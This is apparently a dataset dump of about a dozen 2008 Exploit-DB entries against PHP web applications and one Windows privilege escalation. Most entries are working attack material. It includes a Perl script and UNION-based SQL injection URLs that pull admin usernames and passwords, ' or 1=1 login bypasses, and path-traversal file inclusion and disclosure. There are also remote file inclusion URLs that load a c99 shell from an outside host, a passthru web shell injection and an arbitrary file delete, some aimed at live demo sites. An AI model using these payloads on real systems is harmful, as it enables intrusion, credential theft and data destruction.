QLWD/code_shield huggingface dataset:
标题: Scout Portal Toolkit 1.4.0 - 'ParentId' SQL Injection EDB-ID: 5540 CVE: 2005-4195 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-04 漏洞利用脚本: #!/usr/bin/perl

# Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit
# Discovered & Coded by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team / Sys - Project / EspSeC
# http://www.spanish-hackers.com
# rgod forever :D


print "\t\t########################################################\n\n";
print "\t\t#  Scout Portal Toolkit <= 1.4.0 SQL Injection Exploit #\n\n";
print "\t\t#                       by JosS                        #\n\n";
print "\t\t########################################################\n\n";

use strict;
use LWP::UserAgent;

my $victim = $ARGV[0];

 if(!$ARGV[0]) {
    print "\n[x] Scout Portal Toolkit <= 1.4.0 Remote SQL Injection Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl xpl.pl [host]\n";
    print "[x] example: http://localhost/path/\n\n";
    exit(1);
 }
 
    print "\n[+] Exploiting...\n";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($victim."/SPT--BrowseResources.php?ParentId=337+and+1=2+union+all+select+0,1,2,3,4,concat(UserName,char(34),UserPassword),6,7,8+from+APUsers/*");
    if ($go->content =~ m/APUsers\/\*\' class=\'\'>(.*?)\<\/a>/ms)
 {
        print "[+] $1\n\n";
    } else {
        print "\n[-] exploit failed\n";
    }

# milw0rm.com [2008-05-04] URL: https://www.exploit-db.com/exploits/5540
标题: phpDirectorySource 1.1 - Multiple SQL Injections EDB-ID: 5537 CVE: 2008-2177 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-03 漏洞利用脚本: |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title ::  SQL Injection and Bypass Administrator Login


Author :: InjEctOr     [s0f (at) w.cn]

&& FishEr762   [sq7 (at) w.cn]


Application :: phpDirectorySource 1.1

Download :: http://www.phpdirectorysource.com/files/pds_ver1_1.zip

Dork 1 :: use your mind :p


Greets :: Allah , TrYaG TeaM & Muslims Hackers 

Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.



--------------------------------------------[C o n t e x t]-----------------------------------------


Expl0!te ::

http://127.0.0.1/[script]/show.php?lid=1'+and+1=0+UNION+SELECT+1,2,3,4,login,pass,7,8,9,10,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+FROM+pds_admin/*


i.e.
http://directory.xxx.com/show.php?lid=104'+and+1=0+UNION+SELECT+1,2,3,4,login,pass,7,8,9,10,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+FROM+pds_admin/*

note: 
used "and 1=0" koz lid is varchar so it's better way to make next query run

--------------

Bypass Administrator Login :
/directory/admin.php

username field
' or 1=1 /*

i.e. in demo site (demos always get the 1st shot lol)
http://www.phpdirectorysource.com/directory/admin.php


-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-03] URL: https://www.exploit-db.com/exploits/5537
标题: BlogMe PHP 1.1 - 'comments.php' SQL Injection EDB-ID: 5533 CVE: 2008-2175 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-03 漏洞利用脚本: ###########################################
{+} BlogMe PHP remote SQL injection exploit
{+} Script download : http://www.drumster.net/gamma/downloads/BlogMe11.zip
{+} Founded by : His0k4 [ ALGERIAN HaCkEr ]
{+} Greetz : All friends & muslims HaCkeRs...
{+} Dork : "BlogMe PHP created by Gamma Scripts"
###########################################
{+} Exploit :
http://localhost/[BlogMe_path]/comments.php?id=-1 UNION SELECT 1,2,3,4,5,6,aes_decrypt(aes_encrypt(user(),0x71),0x71)--
OR :
http://localhost/[BlogMe_path]/comments.php?id=-1 UNION SELECT 1,2,unhex(hex(database())),4,5,6,7--
###########################################

# milw0rm.com [2008-05-03] URL: https://www.exploit-db.com/exploits/5533
标题: Vlbook 1.21 - Cross-Site Scripting / Local File Inclusion EDB-ID: 5529 CVE: 2008-2073 2008-2072 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-01 漏洞利用脚本: #####################################################################################
####                    vlBook 1.21 (ALL VERSION)                                ####
####             Multiple Remote Vulnerabilities (LFI/XSS)                       ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash Or Khashayar Fereidani)                                 #
#Discovered by : IRCRASH (Dr.Crash Or Khashayar Fereidani)                          #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr
#####################################################################################
#                                                                                   #
#Script Download : http://home.vlab.info/vlbook_1.21.zip                            #
#                                                                                   #
#DORK : "Powered by  vlBook 1.21"                                                   #
#                                                                                   #
#####################################################################################
#                                   < XSS >                                         #
#XSS Address : http://example/?l=" <script>alert('xss')</script>                    #
#                                                                                   #
#####################################################################################
#                                   < LFI >                                         #
#LFI Address : http://example/include/global.inc.php?l=../../../[FILE NAME]%00      #
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
################################ TNX GOD ############################################

# milw0rm.com [2008-05-01] URL: https://www.exploit-db.com/exploits/5529
标题: Harris WapChat 1 - Multiple Remote File Inclusions EDB-ID: 5525 CVE: 2008-2074 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-30 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : Harris Wap Chat
Discovered By   : k1n9k0ng
Scripts site    : http://www.successkid.com/
Download Script : http://www.successkid.com/blogs/?p=2
Thanks To       : #sekuritionline, #semprol, #bajingan, #mimid, #yogyafree
Special To      : adhietslank, sukam, cyberlog, cah_gemblunkz, the_sims, aRiee
          letjen, k1tk4t, inouf and jayoes
Site            : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Demo Site :
http://successkid.com/wapchat/itdiv.php

Bug Found:
http://www.site.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.adCreate.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.adCreateSave.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.adDispByTypeOptions.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.createRoom.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.forward.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.pageLogout.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.resultMember.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.roomDeleteConfirm.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.saveNewRoom.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.searchMember.php?sysFileDir=[shell]
http://www.site.com/wapchat/src/eng.writeMsg.php?sysFileDir=[shell]

# milw0rm.com [2008-04-30] URL: https://www.exploit-db.com/exploits/5525
标题: ActualAnalyzer Lite (free) 2.78 - Local File Inclusion EDB-ID: 5528 CVE: 2008-2076 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-01 漏洞利用脚本: #####################################################################################
####                 ActualAnalyzer Lite (free) 2.78                             ####
####                    LOCAL FILE INCLUSION                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash Or Khashayar Fereidani)                                 #
#Discovered by : IRCRASH (Dr.Crash Or Khashayar Fereidani)                          #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash Or Khashayar Fereidani - Hadi Kiamarsi - Malc0de - R3d.w0rm - Rasool Nasr
#####################################################################################
#                                                                                   #
#Script Download : http://actualscripts.com                                         #
#                                                                                   #
#DORK : "ActualAnalyzer Lite (free) 2.78"+"Copyright Â© 2006 ActualScripts"          #
#                                                                                   #
#####################################################################################
#                                   < LFI >                                         #
#LFI Address : http://Example/other/lite/admin.php?style=../../[FILE NAME]%00&language=ircrash
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
################################ TNX GOD ############################################

# milw0rm.com [2008-05-01] URL: https://www.exploit-db.com/exploits/5528
标题: Open Auto Classifieds 1.4.3b - SQL Injection EDB-ID: 5531 CVE: 2008-6656 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-02 漏洞利用脚本: |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title :: Remote SQL Injection


Author :: InjEctOr [s0f (at) w.cn]

&& Fisher762 [SQ7 (at) w.cn]



Application :: Open Auto Classifieds vehicle listings manager v1.4.3b

Download :: http://mesh.dl.sourceforge.net/sourceforge/openauto/openauto_v1.4.3b.zip


Dork 1 :: use your mind


Greets :: Allah , Muslims Hackers

Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.



--------------------------------------------[C o n t e x t]-----------------------------------------


Expl0!t::

url :

http://127.0.0.1/listings.php?id=-1+union+select+1,2,3,concat(user,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users


and  bypass login:

http://openautoclassifieds.com/login.php << from demo site :)

in Username field just type ' or 1=1 /*


note:

there is a lot of versions in this script and every one using Different number of columns but the name of tbl and col is same

# milw0rm.com [2008-05-02] URL: https://www.exploit-db.com/exploits/5531
标题: OxYProject 0.85 - 'edithistory.php' Remote Code Execution EDB-ID: 5524 CVE: 2008-6651 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-30 漏洞利用脚本: OxYProject 0.85 (edithistory.php) Remote Code Execution Vulnerability
Script : http://puzzle.dl.sourceforge.net/sourceforge/oxyproject/OxYBox085uns.zip
Code Vuln  :
###################Ln 24###################
include('oxycfg.php');

//########################################
// Editing the Chat History
//########################################

$edit_file = $file['Chat_History'];
$fh = fopen($edit_file, 'a') or die("<meta http-equiv=\"refresh\" content=\"1 ;url=oxybox_submit.php\"><font face=\"arial\">Error occured when submitting your message. <a href=\"javascript: history.go(-1)\">Back</a></font>");
fwrite($fh, "<b><font face=\"arial\" color=" . $_POST["usercolor"] . ">" . $_POST["oxyname"] . " :</font></b> <font color=" . $_POST["msgcolor"] . ">" . $_POST["oxymsg"] . "</font><br>");
fclose($fh);
###################Ln 33###################
In The Page "oxycfg.php"
###################Ln 33###################
$file['Chat_History'] = "oxyhistory.php";
###################Ln 23###################
POC :
Go :-> http://localhost/1/OxYBox085uns/0.85/edithistory.php 
You'll see In this Page
Username [?]                      Your message has been successfully submitted [X]
              Your Message Here
Username Color [?]  black     Enter Message
In The "Username" Write "Gold_M" 
In The "Your Message Here" Write This Code "<?php passthru($_GET[cmd]); ?>"
Afte All this Click  "Enter Message"
Now Go :-> http://localhost/OxYBox085uns/0.85/oxyhistory.php?cmd=dir
# Thanx To TryagOxY

# milw0rm.com [2008-04-30] URL: https://www.exploit-db.com/exploits/5524
标题: Joovili 3.1 - 'browse.videos.php' SQL Injection EDB-ID: 5520 CVE: 2008-2063 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-28 漏洞利用脚本: #####################################################
#                  [-Joovili-]               #
#        Rem0te SQL Injection Vulnerability      #
#           IN ==> browse.videos.php <====      #
#####################################################
 
[<>]Author: HaCkeR-EgY
 
[<>]H^0mE: WWW.PAL-HACKER.COM , ATSDP.COM
 
[<>]CONTact: hacker_EGY@hotmail.com
================================================
[<>]Script : Joovili
[<>]version : Version 3.1.0
[<>]price :$155 USD
[<>]DOWNL0AD : www.joovili.com
================================================
[<>] D0RK : use your Mind (:
 
[<>] Explo!t :

[<>] 1 ====>http:hacker_egy/browse.videos.php?category=-1/**/union/**/select/**/1,2,3,concat_ws(0x3a3a,admin_username,admin_password),5,user(),7,8,9/**/from/**/joovili_admins/*

[<>] 2 =====>http://hacker_egy/browse.videos.php?category=-1/**/union/**/select/**/1,2,3,concat_ws(0x3a3a,id,username,password,email),5,user(),7,8,9/**/from/**/joovili_users/*

[<>] L!Ve DeM0 :
 
====>  http://demo.joovili.com/browse.videos.php?category=-1/**/union/**/select/**/1,2,3,concat_ws(0x3a3a,admin_username,admin_password),5,6,7,8,9/**/from/**/joovili_admins/*
 

[<>]N0te :::>> 1- Sometime  Requires to register
               &n bsp;      2- You can Find other Errors
=======================================================
[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
[<>] Greetz : F!resell , Mohamed el Arab , MrExE , H-T Team [ HouSSaMix +
ToXiC350 ] , Gold_M , V4 Team , Jiki Team  , RoMaNcYxHaCkEr , stR0ke

# milw0rm.com [2008-04-28] URL: https://www.exploit-db.com/exploits/5520
标题: LokiCMS 0.3.3 - Arbitrary File Delete EDB-ID: 5522 CVE: 2008-4913 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-29 漏洞利用脚本: Name   : LokiCMS 0.3.3 <= Arbitrary File Delete Vulnerability
Author : cOndemned
Greetz : ZaBeaTy, GregStar, irk4z, doctor, Avantura ;*
    
Usage:

    http://[target]/[lokiCMS]/admin.php?delete=[path]/[file]
        
PoC:

    http://[target]/[lokiCMS]/admin.php?delete=../includes/Config.php
       
    Deleting Config.php will casue situation when users won't be able to view index page
    normally. Only errors will be visible...

# milw0rm.com [2008-04-29] URL: https://www.exploit-db.com/exploits/5522
标题: Interact 2.4.1 - Multiple Remote File Inclusions EDB-ID: 5526 CVE: 2008-2220 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-30 漏洞利用脚本: -==========================================[ ViVa Islam + YeMeN ]====================================-

# Name : interact 2.4.1 Multiple Remote RFI Vulnerabiliy

# Download From : http://puzzle.dl.sourceforge.net/sourceforge/cce-interact/interact-2-4-1.tar.gz

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  WwW.4RxH.CoM            

+======================================================================================================================+

# Exploits :

* Must Be Register_Globals Is On

http://WwW.4RxH.CoM/interact/modules/forum/embedforum.php?CONFIG[LANGUAGE_CPATH]=http://rxh.freehostia.com/shells/c99in.txt?

http://WwW.4RxH.CoM/interact/modules/scorm/lib.inc.php?CONFIG[BASE_PATH]=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum & Anyone Hate Me  :) 

# For Contact : Nothing>> That,s Damage And Flooded Ha Ha  ;) 

# bEST wISHES

-==========================================[ ViVa Islam + YeMeN ]====================================-

# milw0rm.com [2008-04-30] URL: https://www.exploit-db.com/exploits/5526
标题: Project Based Calendaring System (PBCS) 0.7.1 - Multiple Vulnerabilities EDB-ID: 5523 CVE: 2008-2216 2008-2215 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-30 漏洞利用脚本: Project Based Calendaring System (PBCS) Version 0.7.1 Multiple Vulnerabilities
Script: http://www.pbcs.org/pbcs_download.php
Poc : 
Hi str0ke Thanx To Posted but I Want Add Some Vulns In This Script
1- remote file upload
http://localhost/pbcs-0.7.1-1/src/yopy_upload.php
after upload you can get you file on
http://localhost/pbcs-0.7.1-1//tmp/uploads/name your file
2- remote file disclosure
http://localhost/pbcs-0.7.1-1/src/yopy_sync.php?download_file=0&filename=../config/config.php
3- file disclosure
/plugins/system-logger/print_logs.php?filename=../../config/config.php

# milw0rm.com [2008-04-30] URL: https://www.exploit-db.com/exploits/5523
标题: Microsoft Windows XP SP2 - 'win32k.sys' Local Privilege Escalation (MS08-025) EDB-ID: 5518 CVE: 2008-1084 类型: LOCAL 平台: WINDOWS 发布日期: 2008-04-28 漏洞利用脚本: // ms08-25-exploit #1
// This exploit takes advantage of one of the vulnerabilities 
// patched in the  Microsoft Security bulletin MS08-25
// http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx
// ---------------------------------------
// Modifications are strictly prohibited.
// For research purposes ONLY.
// ---------------------------------------
// Ruben Santamarta 
// www.reversemode.com

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5518.zip (2008-ms08-25-exploit.zip)

# milw0rm.com [2008-04-28] URL: https://www.exploit-db.com/exploits/5518
标题: PHPizabi 0.848b C1 HFP3 - Database Information Disclosure EDB-ID: 5506 CVE: 2008-2018 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-26 漏洞利用脚本: --------------------------------------------------------
PHPizabi v0.848b C1 HFP3 database information exposure
--------------------------------------------------------


* I would like to state that I am in no way responsible for how this information is used. 
It is just that, information and is provided for informational purposes only.*



An exploit exists in PHPizabi that allows a user using a specially crafted post to disclose
user credentials as well as any other information within the database.  Using the following
format in a post to a users profile will disclose the corresponding field from that users
entry in the database.

FORMAT:

{user.DATABASEFIELD}

The breakdown:

template.class.php  function AssignUser  lines 104-108

                if (is_array($user)) {
                    foreach ($user as $code => $value) {
Vulnerable code    ---------->            $this->Buffer = str_replace("{user.".$code."}", $value, $this->Buffer);
                    }
                }

What happens here is that as an array of database fields is processed, if {user.DATABASEFIELD} is
found in the buffer it is overwritten with the corresponding value from the database.  The
buffer being processed is going to be output as the page.  See where this is going? :)

So the basic process is as this.  Register on PHPizabi site, post a "comment" on the users
profile whos credentials you want to obtain ie the admin.  Being like so

{user.password}

When viewing the profile, click the comments tab and then click "View all comments". This will
disclose the md5 hashed password from the database.

Note this could work on older versions of the software too.  Also any valid database field can
be substituted for password in the above statement.



--------------------------------------------------------
by: YOUCODE  ---  icode00@gmail.com
--------------------------------------------------------

# milw0rm.com [2008-04-26] URL: https://www.exploit-db.com/exploits/5506